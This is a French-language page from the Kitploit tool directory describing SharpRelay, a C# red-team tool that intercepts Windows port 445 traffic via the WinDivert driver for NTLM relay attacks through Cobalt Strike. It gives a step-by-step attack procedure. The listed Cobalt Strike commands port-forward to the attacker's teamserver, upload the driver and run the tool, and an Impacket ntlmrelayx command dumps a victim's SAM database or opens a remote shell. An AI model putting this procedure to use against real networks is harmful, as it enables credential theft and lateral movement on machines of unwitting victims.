Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
SharpRelay — Outil en C# exploitant le pilote WinDivert pour intercepter et rediriger le trafic du port 445 de Windows pour des attaques de relais NTLM via Cobalt Strike, permettant le mouvement latéral et la récolte d'identifiants dans les opérations d'équipe rouge. | Kitploit
Outils/GitHubGitHub/pkb1s/sharprelay
Sniffing et Analyse de PaquetsMouvement LatéralTests d'IntrusionRed Teaming
GitHubpkb1s/sharprelay

SharpRelay

Outil en C# exploitant le pilote WinDivert pour intercepter et rediriger le trafic du port 445 de Windows pour des attaques de relais NTLM via Cobalt Strike, permettant le mouvement latéral et la récolte d'identifiants dans les opérations d'équipe rouge.

Voir le dépôt
17921il y a 5 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Utilisation

La seule condition requise pour que cette attaque fonctionne est de disposer d'un beacon avec des privilèges d'administrateur local ou la capacité de charger des pilotes. L'attaque utilisant SharpRelay se déroule comme suit :

  • Téléchargez le pilote WinDivert signé dans n'importe quel dossier sur la machine compromise.
  • Exécutez SharpRelay pour modifier le port de destination des paquets entrants sur le port 445 et les rediriger vers un autre port (par exemple 8445).
  • Depuis notre beacon, exécutez la commande rportfwd de Cobalt Strike pour rediriger le port 8445 de la machine compromise vers le port 445 de notre teamserver.
  • Démarrez un serveur socks pour rediriger le trafic relayé vers le réseau de la victime.
  • Exécutez ntlmrelayx d'Impacket avec proxychains pour effectuer le relais SMB.
  • Lorsqu'une victime tente d'accéder au port 445 de la machine compromise, l'authentification NTLM sera transmise à notre teamserver et relayée vers une autre machine.

Les exemples de commandes suivants peuvent être exécutés depuis Cobalt Strike pour réaliser ces actions :

root@kitploit:~
socks 4444
rportfwd 8445 127.0.0.1 445
cd C:\Users\victim
upload /root/Desktop/intercept.sys
execute-assembly /root/Desktop/SharpRelay.exe fakeservice C:\Users\victim\intercept.sys 445 8445

Lorsque tout ce qui précède s'exécute avec succès, vous devez démarrer votre serveur de relais (configurez proxychains sur le port spécifié dans les commandes ci-dessus, par exemple 4444) :

root@kitploit:~
proxychains ntlmrelayx.py -t smb://<VICTIM-IP> -smb2support

La commande ci-dessus extraira la base de données SAM de la machine victime. Il est également possible d'obtenir un shell SMB interactif ainsi que d'exécuter des commandes à distance sur la victime.

SharpRelay a été testé sur Win10 x64.

Instructions de compilation

Si vous souhaitez compiler l'outil à partir des sources, vous pouvez procéder comme suit :

  • Clonez le dépôt
  • Assurez-vous que tous les packages NuGet sont visibles dans l'onglet Installé en ouvrant Project -> Manage NuGet Packages dans Visual Studio
  • Générez le projet

Les instructions ci-dessus ont été testées avec Visual Studio 2019.

Détails techniques

SharpRelay est basé sur le pilote WinDivert. Selon sa description, WinDivert est un pilote noyau qui permet l'interception et la modification de paquets en mode utilisateur. L'utilisateur doit spécifier un filtre, et tous les paquets correspondant à ce filtre seront interceptés et pourront être modifiés.

Extrait du fichier ReadMe :

root@kitploit:~
The WinDivert.sys driver is installed below the Windows network stack.  The
following actions occur:

(1) A new packet enters the network stack and is intercepted by WinDivert.sys
(2a) If the packet matches the PROGRAM-defined filter, it is diverted.  The
    PROGRAM can then read the packet using a call to WinDivertRecv().
(2b) If the packet does not match the filter, the packet continues as normal.
(3) PROGRAM either drops, modifies, or re-injects the packet.  PROGRAM can
    re-inject the (modified) using a call to WinDivertSend().

Pour nous, la chose la plus importante que WinDivert nous permet de faire est d'intercepter le trafic à destination d'un port Windows ouvert et de le rediriger vers un autre port en modifiant les ports source et destination TCP de chaque paquet, en recalculant les checksums TCP et en réinjectant les paquets dans la pile réseau.

Sous Windows, le port 445 est toujours actif par défaut. Je n'entrerai pas dans les détails du processus utilisant le port 445 car cela a déjà été analysé dans l'article suivant, alors n'hésitez pas à le lire :

  • https://diablohorn.com/2018/08/25/remote-ntlm-relaying-through-meterpreter-on-windows-port-445/

L'article ci-dessus contient également une autre idée intéressante : utiliser WinDivert pour effectuer une attaque de relais SMB via Metasploit. Vous pouvez télécharger quelques DLLs et un fichier pilote sur la machine cible, accompagnés de divertTCPconn.exe, puis les exécuter. J'ai trouvé cette attaque géniale, mais ce que je n'aimais pas, c'était la nécessité de télécharger plusieurs DLLs sur la machine cible.

Mon objectif était donc de réaliser la même attaque en déposant le minimum de fichiers sur le disque et en l'exécutant via Cobalt Strike.

Tout d'abord, je voulais utiliser la fonction execute-assembly de Cobalt Strike, j'ai donc décidé d'écrire mon code en utilisant le framework .NET. Mon idée initiale était de réécrire divertTCPconn en C# et tout fonctionnerait. Il s'est avéré que c'était très compliqué. Heureusement, j'ai trouvé le package NuGet suivant écrit par TechnikEmpire :

  • https://github.com/TechnikEmpire/WinDivertSharp

Grâce à WinDivertSharp, j'ai pu écrire SharpRelay pour charger le pilote en créant un service et communiquer avec le pilote WinDivert afin d'effectuer toute modification de paquet nécessaire.

Télécharger l’outil